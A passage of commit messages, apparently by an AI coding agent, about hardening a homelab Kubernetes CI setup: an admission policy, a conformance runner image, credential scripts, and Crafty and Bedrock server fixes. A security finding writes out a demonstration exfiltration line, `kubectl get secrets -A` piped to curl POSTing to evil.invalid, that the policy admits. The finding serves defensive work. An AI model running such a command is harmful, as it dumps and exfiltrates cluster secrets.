`injected-initcontainer-env` PASSES the initContainer rule and is hostile purely through env,
which is why env had to be its own rule.
UNVERIFIED: whether the API server accepts `ephemeralContainers` in a Job pod template at all.
Upstream the field is settable only via the pods/ephemeralcontainers subresource, but whether
that check reaches a nested pod template is not something I could establish without a
`create --dry-run=server`, a mutating request reserved to the operator (CLAUDE.md §5). Rule
added regardless: a no-op if upstream rejects it, the same hole if not.
Gate (toolbox): lint green (404 files), l0 green (kyverno test: 1 policy / 15 resources),
render-golden green (10), l1 green; spec-immutability + gitea-settings SKIPPED; MERGE GATE
UNDETERMINED rc 3. Nothing FAILED.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
`conformance/incluster/chainsaw-job.yaml` was a skeleton: `workspace` was an empty
`emptyDir` with nothing to populate it, so the Job could never have run the suite at
all. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.
The whole shape is dictated by a fail-closed Enforce policy
(platform/kyverno/admission/conformance-trigger-job-shape.yaml) that admits only
`workspace` and `results` as volume names. So:
* the read-only Gitea credential arrives as env from `secretKeyRef` on Secret
`conformance-git-readonly` -- by NAME only, no literal in the tree -- and reaches
`git` via an inline credential.helper that reads the environment, so the token is
never in argv and never on disk;
* `$TMPDIR` and `$HOME` are directories ON the `workspace` emptyDir, which keeps
`readOnlyRootFilesystem: true` without a third volume and without subPath mounts
(a kubelet-created subPath dir is root-owned 0755 and unwritable by the runner);
* `results` cannot be mounted at `conformance/_artifacts` -- that path is inside the
clone target and `git clone` refuses a non-empty target -- hence the new
`CONF_ARTIFACTS` override, honoured only when set.
The init container shallow-clones, fetches the exact commit if the shallow tip lacks
it, detaches onto it, and ASSERTS `HEAD` equals the requested SHA. The SHA must match
^[0-9a-f]{40}$, so an unrendered placeholder is a hard failure rather than a silent run
of whatever the branch tip was.
Results leave over stdout because the trigger identity has no pods/exec and admission
pins `command` to exactly ["./run.sh"], so nothing can wrap the suite. `run.sh` emits
them on an EXIT trap -- a failed run still ships its red JUnit -- between markers
carrying bytes, base64 line count and sha256 TWICE:
=== ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=.. bytes=.. lines=.. sha256=.. ===
`kubectl logs` is lossy and base64 decodes a truncated stream to plausible garbage, so
a collector that makes the five documented checks cannot mistake a partial log for a
complete artifact set. Verified locally: full decode round-trips; head-truncation,
tail-truncation, a dropped interior line and one corrupted character are each detected;
exit codes 0, an explicit 3 and a `set -e` abort all survive the trap with a matching
`rc=` in the envelope.
Admission proven with the pinned CLI rather than assumed -- `kyverno apply` on the
rendered template gives `pass: 3, fail: 0`, and negative controls on the SAME template
(a third volume; `command` wrapped in `/bin/sh -c`) each fail the expected rule. The
shape is now a `real-template` fixture so drift out of admission fails `make -C ci l0`.
FINDING, NOT FIXED HERE: that policy never reads `initContainers`. Measured -- the same
rendered template with only the init container's args replaced by
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/` is ADMITTED (pass 3,
fail 0). The escalation the policy exists to stop is still reachable one field over, and
was before this Job had an init container. A security boundary changes in its own
reviewed PR, so it is documented in the manifest header and in
decisions/2026-09-29-conformance-job-template.md with the recommended 4th rule, not patched in beside the Job that must satisfy it.
UNVERIFIED: nothing here has executed. The `conformance-runner` image does not exist
(plan §3 item 1) and Secret `conformance-git-readonly` does not exist (item 6), so the
clone, the credential helper and the log transport are unexercised against a cluster.
`ci/conformance.sh` is untouched -- CI behaviour is unchanged by this branch.
Gate (toolbox, DEV_KUBECONFIG=/dev/null + .git bind-mount shim): lint/l0/render-golden/l1
green; spec-immutability, gitea-settings and conformance SKIPPED; MERGE GATE
UNDETERMINED, rc 3. Nothing FAILED.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
This branch originally appended ~99 lines to the tail of DECISIONS-LOG.md. That
tail is the hunk every concurrent branch collides on: measured against the live
Gitea on 2026-09-29, four of the five open PRs were mergeable:false and
DECISIONS-LOG.md was the ONLY conflicting path in all four. PR #19 was one of them.
Nothing was wrong with the change; the log's storage format serialised work that
was otherwise parallel.
So the handoff now lives in its own file, decisions/2026-09-29-conformance-trigger-kubeconfig.md,
in the one-entry-per-file layout PR #24 introduces (frontmatter date/branch/title,
plus "What changed" / "What I verified" / "What I did NOT verify"). Concurrent
branches then touch disjoint paths and there is nothing to merge.
The branch was rebuilt on today's main with the DECISIONS-LOG.md change dropped
entirely; infra/gitea/README.md and infra/gitea/conformance-trigger-kubeconfig.sh
are byte-identical to the original commits. The original commit that touched ONLY
DECISIONS-LOG.md -- the measurement that PR #19's CI has no approval-policy check
-- was dropped as a commit and its substance folded into the new entry verbatim in
meaning, including every UNVERIFIED it recorded.
No content was upgraded. The script is still UNEXECUTED: nothing minted, no Gitea
object written, no kubectl mutation, and the Gitea variables API shape remains
documentation rather than measurement.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
CLAUDE.md section 7. This branch originally carried its handoff as a ~236-line
append to the tail of DECISIONS-LOG.md. Measured against the live Gitea on
2026-09-29, that append was the ONLY conflicting path between PR #18 and main,
and it is why the PR was `mergeable: false` -- four of the five open PRs were
unmergeable for exactly the same reason, on the same last hunk.
The append is dropped from this branch entirely; the branch now touches nothing
outside conformance/. Its substance moves here unchanged in meaning, in the
one-file-per-entry shape PR #24 introduces and ci/decisions-log.sh enforces:
frontmatter (date, branch, title) plus "What changed" / "What I verified" /
"What I did NOT verify".
Nothing the branch claims to have proven was upgraded in the move. Everything
the original entry marked UNVERIFIED is still marked UNVERIFIED here, and the
list grew rather than shrank: the image has never run in the cluster, it is not
pushed anywhere so CONFORMANCE_RUNNER_IMAGE_DIGEST stays empty, the image was
NOT rebuilt during this rework, chainsaw's cosign signatures are still
unverified, the 4th policy rule that would make conformance-clone REQUIRED does
not exist so the initContainer hole is open, and L2/L3 still do not run in CI.
Gate on the reworked branch, in the pinned toolbox from this worktree:
rc 3, MERGE GATE: UNDETERMINED, nothing FAILED. spec-immutability, lint, l0,
render-golden and l1 all green; gitea-settings the only stage that did not run
(SETTINGS_API_TOKEN unwired repo-wide); conformance warns L2/L3 UNVERIFIED for
R-SEC-02 R-TEST-01..04. Not green, and not reported as green.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Closes half of the admission gap a sibling agent found in PR #13's policy: it pins
the MAIN container's `command` but never reads `initContainers`, so a Job from
`conformance-trigger` can carry an init container with `command: ["/bin/sh","-c"]`
and an arbitrary script, running as the privileged `conformance-runner` SA.
Reproduced by the policy's author: pass 3, fail 0 on a privileged alpine:latest
init container running `kubectl get secrets -A`.
The image now carries /usr/local/bin/conformance-clone, 0755 root:root, so uid
65532 cannot replace the one executable the policy will come to trust. Clone logic
taken from PR #20's `clone-suite-at-commit`, with both load-bearing properties
preserved: the SHA must match ^[0-9a-f]{40}$, and `rev-parse HEAD` is ASSERTED
equal to it after checkout, so an unrendered placeholder is a hard failure instead
of a silent run of the branch tip. No arguments are accepted.
DEVIATION FROM THE BRIEF, DELIBERATE: the repo URL and clone target are COMPILED
IN rather than read from the environment. I was asked to take SHA, repo URL and
target dir from env. The policy contains no `env`/`valueFrom`/`secretKeyRef` clause
at all -- so trusting CONFORMANCE_REPO_URL would move the injection one field over:
the trigger points it at a repo it controls, this fetches that, and ./run.sh from
the attacker's tree runs under the privileged SA. "No args" would not have stopped
it. The env vars are still read so the Job template stays self-documenting, but a
value disagreeing with the baked literal is a hard failure, never a redirect. The
SHA is the only genuinely trusted per-run input.
THIS IS HALF A FIX. What makes the fixed path REQUIRED rather than merely available
is a 4th policy rule demanding command: ["/usr/local/bin/conformance-clone"] with
no args on every initContainer. That edits the security boundary and belongs in its
own reviewed PR -- it is NOT here. Until it lands the hole is open, and the README,
the Containerfile and the script header all say so.
VERIFIED by running it (uid 65532, --read-only): root:root 755 and confirmed not
writable by the runner; seven negative cases each asserted to exit non-zero
(arguments, missing SHA, a branch name, an unrendered @@placeholder@@, HOME off the
workspace volume, a REDIRECTED repo URL, a clone target off the workspace volume);
and the positive case -- a real clone of this repo at a real 40-hex SHA with
rev-parse HEAD proven equal to it.
Two bugs of mine that only running it could find, both fixed: the workspace-path
guard matched /workspace/* and so rejected the image's own HOME=/workspace; and the
negative checks were pipelines, which under pipefail aborted the verify at the
first expected failure and silently skipped the other six. A verify that stops
early looks exactly like a verify that passed.
The anonymous-clone fallback is deliberate and logged: read access to this repo
needs no credential today, the integrity guarantee is the SHA assertion rather than
the credential, and requiring the Secret would make the script untestable without
one.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
The Containerfile said chainsaw "publishes no per-asset checksum file at a stable
URL". Literally true, and misleading: it reads as "no integrity option exists".
Checked the release assets via the GitHub API -- v0.2.12 ships per-asset cosign
`.sig` + `.pem` and an SBOM alongside each tarball. So verification IS available,
it just needs cosign in the builder stage and the right keyless identity for
kyverno's release workflow.
Comment now says what is actually true: kubectl is sha256-verified, chainsaw rests
on tag + TLS, and the cosign path is named as a TODO rather than implied away.
Deliberately not implemented here -- picking a trusted signer identity is a
supply-chain decision that belongs in its own reviewed change, not a silent
addition to a runner image. Noted that infra/devcontainer/Containerfile has the
same gap for the same binary.
Rebuilt after the edit; the in-image verification still passes.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
The committed L2/L3 Job pins `ghcr.io/kyverno/chainsaw:v0.2.12` with
`command: ["./run.sh"]`. Those two lines cannot both be true. That image carries
the chainsaw binary and essentially nothing else -- no bash, no python3, no
kubectl, no git -- so the Job would have failed at exec of `./run.sh`, before a
single test ran. Nothing in the tree said so.
This adds the image that makes the Job runnable (plan
docs/plans/l2-l3-conformance-ci-wiring.md section 3 item 1):
* conformance/incluster/Containerfile -- bash + python3 + chainsaw + kubectl +
git-core + tar/gzip/coreutils (the base64-tar results channel of item 3).
Two-stage: a full Fedora fetches the release binaries and verifies kubectl's
published sha256; the runtime layer is fedora-minimal and carries no
downloader. Versions are --build-arg-injected from
infra/devcontainer/versions.env (CHAINSAW_VERSION, KUBECTL_VERSION,
FEDORA_VERSION) -- the single source of truth -- so the chainsaw and kubectl in
the runner are the same pins the toolbox gate runs with. No new pin is invented
here, and the ARG defaults are EMPTY so a build that forgets one fails loudly
instead of baking a stale version.
* conformance/incluster/build-image.sh -- builds it, PROVES the toolchain by
executing it inside the image, and prints the digest. It never pushes: the
registry credential is not an agent's to hold and publishing the artifact a
fail-closed policy then trusts is an operator action. It prints the exact
`podman push --digestfile ...` line instead.
* conformance/versions.env -- CONFORMANCE_RUNNER_IMAGE, with the digest
deliberately EMPTY and a loud block saying the operator fills it in after the
push. Empty is a visible failure in whatever renders the Job; a guessed digest
would be an ImagePullBackOff dressed up as a cluster fault.
WHAT THE ADMISSION BOUNDARY FORCED, AND WHY THE IMAGE OBEYS IT
platform/kyverno/admission/conformance-trigger-job-shape.yaml is Enforce +
failurePolicy: Fail and it is the R-SEC-02 boundary. It is NOT modified here.
Two of its clauses are load-bearing on the image itself:
* `runAsNonRoot: true` with no explicit runAsUser means the kubelet rejects an
image whose USER is a name it cannot resolve to a uid. So USER is NUMERIC
(65532), not a friendly name.
* The pod is readOnlyRootFilesystem and the policy admits only the `workspace`
and `results` volumes -- there is no writable /tmp and one cannot be added
without editing the boundary. So HOME, XDG_CACHE_HOME, XDG_CONFIG_HOME and
TMPDIR all point into /workspace, and git's safe.directory config is written
to /etc/gitconfig at BUILD time because a runtime --global write would fail.
VERIFIED BY RUNNING IT, not by a successful build
As uid 65532 with --read-only: bash 5.3.9, Python 3.14.7, git 2.55.0,
kubectl v1.36.4 (client), chainsaw 0.2.12; / confirmed read-only, /workspace
writable, uid confirmed non-zero. Then the real thing -- `./run.sh --lint`,
`--coverage-only` and `--layer l2 --no-cluster` all rc 0 inside the image
against this worktree, emitting coverage.md/.json and report.junit.xml.
KNOWN LIMIT, FLAGGED NOT PAPERED OVER
run.sh runs the selected offline L0/L1 checks before it touches the cluster for
ANY selection that is not offline-only, and those checks shell out to flux,
promtool, kyverno and kustomize, which this image does not carry. Baking the
whole devcontainer toolchain into the runner would roughly double its size to
re-run work ci/l0.sh and ci/l1.sh already did offline in the same CI run. So the
Job must select the cluster-gated layers only (`--layer l2` / `--layer l3`);
`--layer all` and a bare `--requirements <IDs>` would drag the L0 checks in and
fail on a missing tool. `--layer l2` is verified above to resolve the offline
selection to nothing. Choosing the Job's args belongs to T-6.1b; the constraint
is documented in the Containerfile header and the incluster README rather than
left for someone to discover from a pod log.
chainsaw-job.yaml's `image:` is left stale ON PURPOSE -- there is no digest to
put there yet, and the trigger renders that template per run (plan item 4). The
README now says so instead of letting the placeholder read as a pin.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Records what refused (Crafty's own 401, not oauth2-proxy), that the existing
bootstrap credential is still live (users.last_update == users.created), the
separate cookie-name collision fixed alongside, the traps measured rather
than assumed, the default.json seeding approach considered and rejected with
the entrypoint `ls -A` landmine that kills it, and — plainly — that no browser
round-trip was performed and the gate was rc 3, not green.
Written as its OWN FILE under decisions/ rather than appended to the tail of
DECISIONS-LOG.md. The single-file append is what made this PR (#22) and three
others unmergeable on 2026-09-29: every branch collided on the same last hunk,
with DECISIONS-LOG.md the only conflicting path in all four. The one-file-per-
entry layout and its ci/decisions-log.sh guard land in #24; this entry is
already written in that format, and validates against that checker (rc 0,
"1 entry well-formed"). This branch now touches DECISIONS-LOG.md not at all.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Reported: "crafty does not sign in after signing into keycloak, and there is
no way to set the service up without credentials."
MEASURED, not inferred. The sidecar log settles which layer refused:
GET / -> 302 to Keycloak
[AuthSuccess] ... groups:[platform-admins] <- oauth2-proxy is FINE
GET /oauth2/callback -> 302
GET /login?next=/panel/dashboard -> 200 <- Crafty's OWN login page
POST /api/v2/auth/login/ -> 401 <- Crafty refused
So the Keycloak gate was never broken. Crafty 4 has no OIDC and cannot consume
the sidecar's identity headers, so it shows its own local login to an already
authenticated user. That second factor is intended. What was NOT intended is
that nothing documented where its password comes from, which is exactly why
setup was impossible: Crafty generates it ONCE on first boot (users table
empty -> DatabaseBuilder.default_settings()) into /crafty/app/config/
default-creds.txt, mode 0600, on the PVC's `config` subPath. Never in git;
a fresh PVC generates a new one. The README asserted the double login was
"expected, not a bug" and then left the reader with no way forward.
Verified in-cluster that the existing credential is still usable, so the
service can be set up without touching the DB: users.last_update equals
users.created for `admin` (09/05/2026, 08:10:04), i.e. the password has never
been changed, and admin's last_login is 09/14 from 127.0.0.1 -- the API login
that created the "homelab" server. default-creds.txt is therefore live.
ALSO FIXED -- a real, separate defect found while proving the above, which
produces the reported symptom intermittently and would have been blamed on
Keycloak forever: this sidecar and the SHARED forward-auth oauth2-proxy both
emitted oauth2-proxy's DEFAULT cookie names (_oauth2_proxy,
_oauth2_proxy_csrf) scoped to .home.keithjackson.dev, while holding DIFFERENT
cookie-secrets (compared the two live Secrets: they differ, so neither can
decrypt the other's cookie). One cookie pair, two proxies: whichever
authenticated last clobbered the other's session; the loser logged "No valid
authentication in request", bounced to Keycloak, and -- SSO session still live
-- was redirected straight back, clobbering it again. Fixed on this side only
(renaming the shared proxy's cookie would sign out every other gated app):
a unique --cookie-name plus a host-scoped --cookie-domain, since a per-app
reverse proxy has no reason to broadcast its session zone-wide.
--whitelist-domain stays zone-wide: it governs redirect targets, not cookies.
Two traps measured rather than assumed, both now documented:
- The 3-strikes cooldown CANNOT fire behind this sidecar. Crafty records
attempts under get_remote_ip() (honours X-Forwarded-For -- the live
tracker key is the chain "192.168.2.132, 10.0.0.123") but checks the
cooldown under request.remote_ip, which is always 127.0.0.1 here. The
halves key differently, so get_recent_attempts() always reads empty.
Good (no lockout risk) and bad (that throttle is not a control we have).
- Crafty's `set_passwd` console command is unreachable in k8s: it calls
getpass.getpass() and needs a TTY; the container runs `main.py -d -i`.
Recovery has to go through the DB, and argon2 is installed ONLY in
/crafty/.venv/bin/python -- the system python3 lacks it.
Deliberately NOT done: an initContainer seeding default.json from a SOPS
Secret to make a rebuilt Crafty's password deterministic. Crafty does support
that hook (find_default_password reads app/config/default.json, min 8 chars),
but the image entrypoint pulls its default config ONLY when app/config is
EMPTY -- so writing a file there pre-boot suppresses the whole config
bootstrap. Buying reproducibility means co-owning image-internal bootstrap
logic that a 4.11 bump could silently change, to replace a one-command
retrieval. Recorded in DECISIONS-LOG as considered and rejected.
New runbook runbooks/crafty-admin-credential.md: tell the two auth layers
apart from the sidecar log, retrieve and rotate the bootstrap credential,
and reset a lost one via argon2 -- generating the password in-pod into a 0600
file rather than passing it in, because dev.sh does not forward stdin (a
`kubectl exec -i` through it hangs; verified). Registered in the configMapGenerator
so the URL actually resolves, not just the file exists.
Gate: toolbox ./ci/gate.sh -- lint/l0/render-golden/l1 green, spec-immutability
green. rc 3 overall: gitea-settings SKIPPED (no SETTINGS_API_TOKEN) and L2/L3
NOT RUN (CLUSTER_AVAILABLE unset). No runtime browser round-trip performed --
the sign-in fix is UNVERIFIED end-to-end and needs the human test in the README.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
PR #15 renamed the Actions secret to SETTINGS_API_TOKEN because Gitea RESERVES the
GITEA_ prefix and rejects such a name with HTTP 400 "invalid secret name" -- the
defect that left the branch-protection detector inert and unnoticed. The README in
this very directory, which documents that story, went on naming the illegal name in
its behaviour table and in its closing "remaining step" line.
Both now say SETTINGS_API_TOKEN, plus a note recording what ci/gitea-settings.sh
ACTUALLY does, quoted from the file rather than assumed:
TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"
GITEA_SETTINGS_TOKEN is still honoured, but ONLY as an environment variable for a
local run -- it can never be the CI wiring, because the secret that would feed it
cannot be created at all. The closing line also predated PR #15 storing the secret;
it now says so.
Documentation only. No behaviour change.
NOT fixed here, because it is outside this PR's diff: ci/gitea-settings.sh:45 still
instructs the reader to "create a Gitea repo secret GITEA_SETTINGS_TOKEN", which is
impossible. Same defect, different file -- worth its own one-line change.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
docs/plans/l2-l3-conformance-ci-wiring.md §3 item 6, as an operator script:
infra/gitea/conformance-trigger-kubeconfig.sh. UNEXECUTED here -- minting a
cluster credential and changing Gitea variables are operator actions.
It mints a token for conformance/conformance-trigger (TokenRequest), wraps ONLY
that token with the cluster CA and server into a kubeconfig, and stores it as the
Actions secret CONFORMANCE_TRIGGER_KUBECONFIG. Never cluster-admin, never a copy
of the operator's own kubeconfig. The token is never printed and never reaches
argv: it goes into a 0600 file and into the PUT body FILE (--data @file), and the
script refuses to run under `set -x` because xtrace would print it.
Two traps this repo already paid for are designed around:
* GITEA_ is a RESERVED secret-name prefix (HTTP 400 "invalid secret name"), so
the name is CONFORMANCE_TRIGGER_KUBECONFIG -- which is also what gate.yml and
merge-gate.yaml already reference.
* `curl -sS` exits 0 on an HTTP error. Every write checks %{http_code} AND reads
the object back. The secret read-back proves presence by NAME only (Gitea
never returns secret values) and the script says so rather than implying its
content was checked; the variable read-back asserts the value is exactly
"true", which is what gate.yml compares against.
PRECONDITIONS ARE SPLIT IN TWO, and the split is the security argument:
mint-blocking (cluster) -- SA/Role/RoleBinding present, and ClusterPolicy
conformance-trigger-job-shape present + Enforce + failurePolicy Fail + Ready.
Any failure and NOTHING IS MINTED. Kubernetes places no `use` check on a Job's
serviceAccountName, so a `create jobs` token in that namespace IS the privileged
conformance-runner identity unless admission bounds its shape. RBAC cannot close
that (plan §4); minting before the boundary is live hands CI the escalation the
boundary exists to close.
arm-blocking (repo) -- digest-pinned CONFORMANCE_RUNNER_IMAGE, an initContainer
plus the admitted image in chainsaw-job.yaml, and CONFORMANCE_TRIGGER_KUBECONFIG
referenced in ci/conformance.sh CODE rather than a comment. These block only
vars.CLUSTER_AVAILABLE, because storing the secret early is harmless (the job is
gated off) and is the plan's own order.
All three arm-blocking checks FAIL in the tree today, so a live run would store
the secret and then REFUSE to arm CLUSTER_AVAILABLE, naming each missing item.
That is the intended behaviour: measured 2026-09-29, CLUSTER_AVAILABLE=true with
no trigger path scaffold-skipped all 54 tests at rc 0 and the stage printed "L2/L3
conformance passed". ci/conformance.sh now blocks that case, so arming early does
not enable L2/L3 -- it only breaks every PR. Arming needs the explicit flag, every
precondition green, and a typed confirmation on a TTY.
Before storing anything, the credential is PROVEN narrow: auth whoami must be
system:serviceaccount:conformance:conformance-trigger, a real `get jobs` round-trip
must succeed, and an auth can-i matrix asserts both halves -- granted (create/get
jobs, get pods, get pods/log) and DENIED (delete jobs, create pods/exec, get
secrets, create jobs in default, get nodes, '*' '*' --all-namespaces). A mismatch
aborts before any store, and says explicitly not to widen
conformance/incluster/rbac.yaml to make it pass.
Verified only by `bash -n` (clean) and reading. The Gitea variables API shape
(POST creates, PUT updates, body field `value` not `data`) is from documentation,
not measurement: the script tries POST then PUT, prints the response body on
failure, and treats the read-back as the authority. Kyverno readiness is accepted
from either .status.ready or a Ready condition, and "neither present" blocks
rather than assuming ready.
Gate (pinned toolbox): MERGE GATE: UNDETERMINED (rc 3) -- spec-immutability and
gitea-settings unrun, the expected local result.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
DECISIONS-LOG.md was append-only in ONE file and every agent appended to its
tail, so any two concurrent branches collided on the same last hunk. Measured
against the live Gitea today: four of the five open PRs were mergeable=false,
and `git merge-tree` named DECISIONS-LOG.md as the ONLY conflicting path in
all four.
#22 fix/crafty-oauth2-proxy-signin CONFLICT: DECISIONS-LOG.md
#20 feat/conformance-job-template CONFLICT: DECISIONS-LOG.md
#19 feat/conformance-trigger-kubeconfig CONFLICT: DECISIONS-LOG.md
#18 feat/conformance-runner-image CONFLICT: DECISIONS-LOG.md
#17 feat/ci-is-the-approver clean — it wrote no handoff
Nothing was wrong with any of those changes. The log's storage format
serialised work that was otherwise parallel, and the cost grew with every
concurrent branch (N branches -> N-1 rebases, each invalidating the gate run
before it). The agents work in isolated worktrees precisely so they do not
block each other; this one file undid that.
So: stop sharing a file. Handoffs are now one-per-file under decisions/,
named YYYY-MM-DD-<slug>.md. Disjoint paths have nothing to merge. There is
deliberately no index file (a shared mutable file is the thing that just
failed) and no counter (two agents would race for the same number) — the
directory listing is the index.
DECISIONS-LOG.md is frozen as the pre-2026-09-29 archive, its SHA-256 pinned
in decisions/ARCHIVE.sha256, and a new gate stage rejects any change to it.
That is a guard and not a paragraph because the old habit is written into the
runbooks and into every agent that has read the log, and getting it wrong does
not fail: it produces a clean-looking commit that re-creates the conflict on
OTHER branches, later, misattributed.
ci/decisions-log.sh new stage: archive pinned; every entry named with
a real date, carrying date/branch/title frontmatter
that agrees with its filename, and all three of
CLAUDE.md §7's sections with a real body under each.
Exit 0 or 1 only — no skip path by construction, so
no fail-open surface on a guard that closes one.
ci/gate.sh runs it; fail and (impossible) skip both BLOCK.
No REQUIRE_DECISIONS_LOG knob: a guard with an off
switch is not a guard.
ci/tests/decisions-log.test.sh 22 assertions, incl. the one that matters —
an append to the archive is rejected, and the
message names the file to write instead.
ci/tests/gate-decision.test.sh +3 assertions for the new wiring, AND a
pre-existing bug: the stub list never included
gitea-settings, so run_stage saw exit 127 and
recorded a FAILED stage in every case. 15 of 47
assertions failed on main for that reason alone —
the suite was measuring its own missing stub.
Now 50/50.
CLAUDE.md §7 rewritten; §2b widened to the new path.
ci/Makefile, ci/README.md, .gitea/workflows/README.md — stage named where
the other stages are named.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Operator added one gamertag and the Bedrock client connected and joined. The
three-pass investigation closes with a working server, no manifest change, no
transport change, no network change.
Moved out of UNVERIFIED:
* A successful join -- OPERATOR-REPORTED (I did not watch it; the distinction is
kept deliberately). Corroborated directly on disk, which is stronger than the
report alone: allowlist.json went [] -> one entry, 75 bytes, and that entry's
xuid is POPULATED (mtime 22:03:17). audit.log shows the operator wrote only the
name (Edited file .../allowlist.json, 22:02:13). Vendor doc: xuid "will be
populated when someone with a matching name connects". So the server wrote the
XUID on connect, ~64s after the edit -- server-authored evidence of an
XBL-authenticated join.
* The reasoned mapping of "You are not invited" to the empty allowlist is
CONFIRMED: one gamertag added, one successful join. allow-list=true with
allowlist.json == [] was the wall, and nothing else was.
* transport=raknet survives a restart: the fix involved one (pid 47006 -> 47875);
afterwards server.properties mtime is still 21:33:31 with transport=raknet, UDP
4ABC bound, still NO TCP 4ABC, and a fresh pong from 192.168.2.22:19132 at
22:06.
* The operator's actual route was file-edit + restart (route 2), not the console
`allowlist add` I listed first. Both proven; console still preferred (no restart).
README: join-gate section marked RESOLVED; decision heading and option 1 promoted
from provisional to PROVEN; Bedrock human-test 4 rewritten as a 5-step verified
connect procedure, each step with its distinct failure signature, stating plainly
that the TRANSPORT TYPE ERROR banner and the "too few fields" warning BOTH appear
on a fully working server -- that pair misled two consecutive sessions.
NOT weakened, and sharpened where possible:
* auto_start=0 / crash_detection=0 STILL 0, re-measured at 22:06 after the join
and after the operator's 22:02:28 "modified the server" action, which did not
change them. The failure mode is now worse, not better: "worked, then vanished".
Merging fix/crafty-oauth2-proxy-signin is such a restart.
* Silent-reset now precisely characterised: a RESTART preserves both files
(observed) but leaves the server down (auto_start=0); a server RECREATE or
reinstall silently resets server.properties to transport=nethernet AND
allowlist.json to [].
* L2/L3 conformance still uncertified; multi-player SNAT still untested (exactly
one player has joined -- that is precisely the evidence that does not settle it);
BDS console output still never seen (log_path is '').
No manifest touched, in any of the three passes. Read-only throughout.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
New operator observation: a Bedrock client got "Unable to connect / You are not
invited to play on this server". That was put to me as evidence that NetherNet
signalling is working, that the refusal may have come from Microsoft rather than
our server, and that BDS players therefore never traverse crafty-l4-udp.
Measured read-only at 21:56, all three are wrong.
allow-list=true (server.properties line 37)
allowlist.json == [] (3 bytes, mtime 20:51, never edited since create)
online-mode=true
transport=raknet (line 71; file mtime STILL 21:33:31)
UDP 19132 bound (/proc/net/udp 00000000:4ABC, pid 47006)
TCP 19132 ABSENT (no 4ABC in /proc/net/tcp or tcp6)
bedrock_server pid 47006, same process since 21:34, never restarted
1. transport is still raknet -- nobody reverted it, the binary did not rewrite it
(mtime unchanged, audit.log records no later edit, same pid). NetherNet is NOT
in use and cannot be what served this client.
2. NetherNet could not have served it in principle: it signals over TCP on
server-port, and there is no TCP 19132 listener in the pod at all.
3. So the refusal came from OUR server, over RakNet, over 19132/udp, through the
VIP. The 19132-19134/UDP exposure is the opposite of inert -- it carried both
the earlier pong and this refusal.
4. Cause is certain and trivial: allow-list=true with an empty allowlist.json
refuses every player. The shipped how_to says so, and it keys on Xbox Gamertag.
The requested log correlation cannot be done from disk: K3s-Bedrock's log_path in
crafty.sqlite is the empty string and Dedicated_Server.txt is 0 bytes -- Crafty
persists no BDS stdout at all, the console is panel-UI-only. commander.log
21:39-21:56 holds only homelab crash-detection and raknet_ping lines. That silence
is evidence about Crafty's logging, not about the refusal's origin.
Adds a README section on the join authorization model: the measured table, the
proof the refusal is ours, the "console is not on disk" caveat, gamertag/XUID
identity, and three operator routes (console `allowlist add`, edit-then-`allowlist
reload`, or allow-list=false -- discouraged, since the game port is deliberately
un-gated so the allowlist is the only join control). Notes allowlist.json is PVC
state that resets to [] on a server recreate. Options table and human test 4 now
check the allowlist before blaming the network.
Ranking unchanged at the top: keep transport=raknet, add gamertags. Still zero
manifest change. NetherNet would ADD work (TCP 19132 in crafty-l4-tcp and in
crafty-allow-ingress, plus server-udp-ports) and admit not one extra player.
Read-only throughout: allowlist.json, server.properties and the DB were read; no
console command issued, no kubectl mutation, no flux reconcile.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
The handoff entry asserted conclusions but did not carry its own gate numbers.
Adds them, per CLAUDE.md section 7:
lint / l0 / render-golden / l1 / spec-immutability : green
gitea-settings : SKIPPED (SETTINGS_API_TOKEN unset)
conformance L2/L3: SKIPPED (CLUSTER_AVAILABLE != true)
=> exit 3, UNDETERMINED. Not a PASS.
Also records two things future sessions will otherwise re-learn the hard way:
1. spec-immutability skipped SPURIOUSLY from the worktree -- dev.sh looks for the
spec repo at $REPO_ROOT/../home-network-k3s, which from a worktree is the wrong
directory; it exists beside the MAIN checkout. Mounting it RO through the ENGINE
shim turned the one tolerated skip into a real green, so R-TEST-06 is genuinely
verified. The CLAUDE.md section 3 shim should mount two paths, not one.
2. CI's green tick does NOT mean rc 0. gate/conformance is `if: false` and reports
success with "Has been skipped"; gate/gate runs
`./ci/gate.sh || [ "$?" -eq 3 ]`, so CI tolerates exit 3 by declared design and
would report the same green for the rc 3 above.
Branch protection and the runner were measured against the API, not assumed:
protected=true, user_can_push=false, required_approvals=1, context
'gate / gate (pull_request)', runner incluster-dind online. PR #23 left unmerged.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
The prior entry's operator fix (transport=raknet) was labelled REASONED, NOT
OBSERVED. The operator applied it, BDS 1.26.52 printed
"================ TRANSPORT TYPE ERROR ===================
NetherNet is the only supported transport type", and that was read as a refusal.
It was not a refusal. The process kept running and bound the RakNet sockets:
/proc/net/udp 00000000:4ABC and /proc/net/udp6 ...:4ABD, both owned by
bedrock_server pid 47006 (fd/25, fd/26). The earlier TCP bind on 4ABC is gone.
Crafty's raknet_ping warning changed kind at 21:34 -- last "Got timeout"
21:34:04,306, first "too few fields" 21:34:09,854 -- and per raknet_ping.py the
latter is reachable only after a 0x1C Unconnected Pong arrives with valid magic.
Proven end-to-end from off-cluster: a RakNet Unconnected Ping to the prod VIP
192.168.2.22:19132 returns a 139-byte 0x1c pong in ~12ms:
MCPE;Dedicated Server;2193;1.26.52;0;10;...;Bedrock level;Survival;1;19132;19133;0;0;0;
The vendor's own shipped bedrock_server_how_to.html documents raknet as a
supported value ("the server listens directly on server-port"), and RakNet is
